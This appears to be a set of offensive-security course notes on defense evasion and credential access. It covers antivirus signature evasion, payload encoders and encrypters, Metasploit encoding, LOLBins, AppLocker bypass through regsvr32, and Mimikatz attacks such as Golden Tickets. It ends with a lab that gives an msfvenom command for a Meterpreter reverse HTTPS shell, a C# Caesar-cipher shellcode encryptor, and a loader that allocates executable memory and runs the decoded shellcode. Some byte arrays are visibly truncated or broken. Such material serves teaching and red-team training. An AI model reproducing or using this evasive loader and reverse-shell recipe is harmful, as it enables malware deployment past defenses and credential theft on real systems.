Unit-5 Defense Evasion and Credential Access

1. Process of finding the antivirus signature from a detected file and how it can be used to whitelist the file

The process of finding the antivirus signature from a detected file and using it to whitelist the file involves the following steps:

Here's a high-level overview of the process:

a. Analyzing the detected file: Once the antivirus software has flagged a file, it's important to understand the structure of the file and identify the specific part that triggers the antivirus detection. This can be done using various reverse engineering tools like disassemblers, debuggers, and hex editors.
b. Identifying the signature: Antivirus software uses signatures to identify known malware or suspicious code patterns. A signature is a unique sequence of bytes or a pattern within the file. By analyzing the detected file and comparing it with known malware samples, it's possible to identify the specific signature the antivirus is using to detect the file.
c. Modifying the file to evade detection: Once the signature has been identified, the file can be modified in such a way that the signature is no longer recognizable by the antivirus software. This can be done by changing the code, encrypting the payload, or using other obfuscation techniques to alter the signature while maintaining the functionality of the file.
d. Testing the modified file: After modifying the file, it's essential to test it against the antivirus software to confirm that it no longer triggers detection. This may require multiple iterations of modification and testing, as antivirus software often employs multiple layers of detection, including heuristic analysis and behavioral analysis.
e. Updating the antivirus software: As a responsible user, it is crucial to report the bypass to the antivirus vendor so that they can update their software and improve detection capabilities. This helps to keep the digital ecosystem secure for all users.

2. Encoders and Encrypters when creating malware

When discussing malware development, encoders and encrypters serve different purposes. They both help to obfuscate the payload, making it harder for antivirus software and other security tools to detect the malicious code. However, their methods and primary objectives differ.

a. Encoders: An encoder is a tool used to transform a payload's binary data into a different representation while maintaining the original data's integrity. The primary goal of an encoder is to avoid specific patterns or characters that might trigger antivirus detection or cause issues with payload delivery.

For example, certain characters might not be allowed in some systems or could be easily recognized by security tools. Encoders use various encoding schemes, such as Base64, XOR, or custom algorithms, to transform the payload data into an alternative representation that does not contain these problematic characters or patterns.

However, encoding is not meant to provide confidentiality. It is relatively easy to reverse the process and obtain the original payload if the encoding scheme is known.

b. Encrypters: An encrypter is a tool that uses cryptographic techniques to secure and conceal a payload's content. Unlike encoders, encrypters aim to provide confidentiality and ensure that the payload cannot be easily understood or analyzed by unauthorized parties.

Encrypters use various encryption algorithms, such as AES, RSA, or custom algorithms, to encrypt the payload data. These algorithms require a key to encrypt and decrypt the data. Only parties with the correct key can decrypt and access the original payload.

Encrypters add an additional layer of security compared to encoders, as decrypting the payload requires knowledge of the encryption algorithm and the key. However, this also means that the malware must include a decryption routine and the key within its code or rely on a separate mechanism to decrypt the payload before execution.

In summary, encoders are used to transform a payload's representation to avoid detection, while encrypters focus on securing the payload to provide confidentiality. Malware developers may use either or both techniques to evade detection and make analysis more difficult

3. Using Metasploit, How we can evade antivirus and bypass detection.

Metasploit provides a feature called "payload encoding" to help with antivirus evasion. The primary goal of payload encoding is to modify the payload's binary representation to bypass signature-based detection methods employed by antivirus software.

Here's a high-level overview of the process:

a. Selecting a payload: In Metasploit, a payload is the code that will be executed on the target system upon successful exploitation. Metasploit offers various payloads, such as reverse shells or Meterpreter sessions, which can be used depending on the tester's needs.
b. Encoding the payload: Metasploit provides several encoders to modify the payload's binary data. These encoders use different encoding techniques, such as XOR or custom algorithms, to change the payload's appearance while maintaining its functionality. By encoding the payload, it becomes harder for antivirus software to recognize the payload based on known signatures.
c. Generating the executable: Once the payload has been encoded, Metasploit can generate an executable file that contains the encoded payload along with a stub (a small piece of code) that is responsible for decoding the payload at runtime. This executable can then be delivered to the target system using various methods, such as phishing emails or drive-by downloads.
d. Evading antivirus detection: When the target system receives and runs the executable, the stub will decode the payload, and the payload will be executed without being detected by the antivirus software, provided that the encoding was successful in bypassing the antivirus signatures.

It's essential to note that the effectiveness of Metasploit's encoding techniques can vary. Antivirus software has become more sophisticated, employing heuristic analysis, behavioral analysis, and machine learning to detect previously unknown or modified malware.

As a result, relying solely on Metasploit's encoding methods may not guarantee successful evasion. In some cases, it might be necessary to use additional obfuscation techniques or custom encoders to increase the chances of bypassing antivirus detection.

4. LOLbins and usage in offensive security

Living off the Land Binaries (LOLBins) are legitimate, pre-installed system tools or binaries that can be abused by attackers to perform malicious activities. In offensive security testing, LOLBins are used to blend in with the target environment, making it difficult for security tools and system administrators to differentiate between legitimate and malicious activities.

LOLBins are often used by attackers to bypass security measures, such as antivirus software or application whitelisting, as they are trusted and allowed to

execute on the system. The use of LOLBins can also reduce the attacker's footprint, as there is no need to download or install additional malicious software.

Here's an example of how LOLBins can be utilized in offensive security testing: PowerShell is a powerful scripting language and automation tool included in the Windows operating system. PowerShell can be used to perform various administrative tasks, but it can also be misused by attackers as a LOLBin for malicious purposes.

One possible use case of PowerShell in offensive security testing involves downloading and executing a remote script.

Using LOLBins in offensive security testing can help security professionals identify weaknesses in an organization's defenses and better understand how attackers might exploit such tools to compromise systems. It is crucial to use these techniques responsibly and only with proper authorization during security assessments.

5. Applocker and the techniques to bypass it

AppLocker is a security feature introduced in Windows 7 and Windows Server 2008 R2 that allows administrators to control the execution of applications, scripts, and executable files based on publisher, file path, or file hash.

AppLocker is designed to prevent unauthorized software, including potentially malicious applications, from running in a managed environment. It provides a flexible mechanism to create allow and deny rules based on organizational policies.

While AppLocker is a useful security feature, it is not foolproof, and skilled attackers may attempt to bypass it. One technique to bypass AppLocker involves using Living off the Land Binaries (LOLBins) - legitimate system tools or binaries that can be abused to perform malicious activities.

Since AppLocker relies on whitelisting applications, attackers can leverage built-in Windows binaries that have legitimate purposes but can also execute arbitrary code or scripts.

By using LOLBins, attackers can bypass AppLocker restrictions because these binaries are usually trusted and allowed to run.

Example of bypassing AppLocker using LOLBins:

One popular LOLBin is the Microsoft-signed binary "regsvr32.exe", which is used to register or unregister COM (Component Object Model) DLLs (Dynamic Link Libraries). However, it can also be used to execute arbitrary code or scripts remotely.

6. Mimikatz tool and its function

Mimikatz is a well-known, open-source tool developed by Benjamin Delpy that is used for various Windows security-related tasks, with a primary focus on extracting plaintext credentials, hashes, tickets, and other sensitive data from memory.

Originally designed to demonstrate vulnerabilities in the Windows security model, Mimikatz has become a popular tool in offensive security testing and is often used by penetration testers and attackers alike.

Functions of Mimikatz in offensive security testing:

1. Extracting credentials: Mimikatz can extract plaintext passwords, NTLM hashes, and Kerberos tickets from memory, specifically from the Local Security Authority Subsystem Service (LSASS) process in Windows. This allows testers to access and use valid credentials to further infiltrate and explore a network.
2. Pass-the-Hash and Pass-the-Ticket attacks: Mimikatz facilitates Pass-the-Hash and Pass-the-Ticket attacks, where an attacker uses a valid user's NTLM hash or Kerberos ticket, respectively, to authenticate to other services or systems without knowing the plaintext password.
3. Overpass-the-Hash attack: Also known as Pass-the-Key, this technique allows an attacker to use an NTLM hash to create a Kerberos ticket (TGT) for a targeted user. This can be used to gain access to resources protected by Kerberos authentication without knowing the user's plaintext password.
4. Golden Ticket attack: Mimikatz enables the creation of forged Kerberos tickets (TGTs) called "Golden Tickets," which grant the attacker virtually unrestricted access to the entire domain. This is possible if the attacker has compromised the KRBTGT account's NTLM hash.
5. Silver Ticket attack: Similar to Golden Ticket attacks, Mimikatz can be used to forge service-specific Kerberos tickets called "Silver Tickets" when an attacker has compromised the NTLM hash of a service account.
6. Dumping and injecting LSASS process memory: Mimikatz can dump the LSASS process memory to a file or inject credentials or hashes directly into the memory. This allows the attacker to perform lateral movement or privilege escalation.

Lab Snippets:

1. Bypassing Antivirus Detection using Caesar Cipher Substitution and Establishing a Reverse Shell Connection

a. Generate the c# format meterpreter payload

```
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.191.132
LPORT=8443 -f csharp
```

Explanation:

The payload is a Meterpreter reverse HTTPS shell for a Windows x64 system, and it will be output in C# format.

b. Write the C# code with **Caesar Cipher** encryption and get the encrypted payload

```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace Shellcode_Encryptor
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] buf = new byte[719] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,,0x
f0,0xb5,0xa2,0x56,0xff,0xd5 };

            //Algorithm for byte substituion
            byte[] encoded = new byte[buf.Length];

            // Substitute the payload array, The result will be in decimal
            for (int i = 0; i < buf.Length; i++)
             {
                 encoded[i] = (byte)(((uint)buf[i] +2)& 0xFF);
            }

            //To format the output same like msfvenom in hex format
            StringBuilder hex = new StringBuilder(encoded.Length * 2);
            foreach (byte b in encoded)
            {
                hex.AppendFormat("0x{0:x2},", b);
            }
           Console.WriteLine("The encrypted payload is :" + hex.ToString());
```

```
        }
    }
}
```

c. Grab the encrypted payload
d. Final code to decrypt the above encrypted payload and execute

```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace avbypass
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint
flAllocationType,
    uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint
dwStackSize,
            IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,
IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32
dwMilliseconds);
        static void Main(string[] args)
        {
            byte[] buf = new byte[719] { 0xfe, 0x4a, 0x85, 0xe6, 0xf2, 0xea,
0xce, 0xd7 };

            //Decrypting Routine
            for (int i = 0; i < buf.Length; i++)
            {
                buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
            }
            //Get the size of the buffer
            int size = buf.Length;

            //Manage Memory
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

            //copy the shellcode to the allocated memory
            Marshal.Copy(buf, 0, addr, size);

            //CreateThread
```

```
            IntPtr hthread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero,
0, IntPtr.Zero);

            //Waitforsingleobject to wait for shellcode execution to complete
            WaitForSingleObject(hthread, 0xFFFFFFFF);

        }
    }
}
```
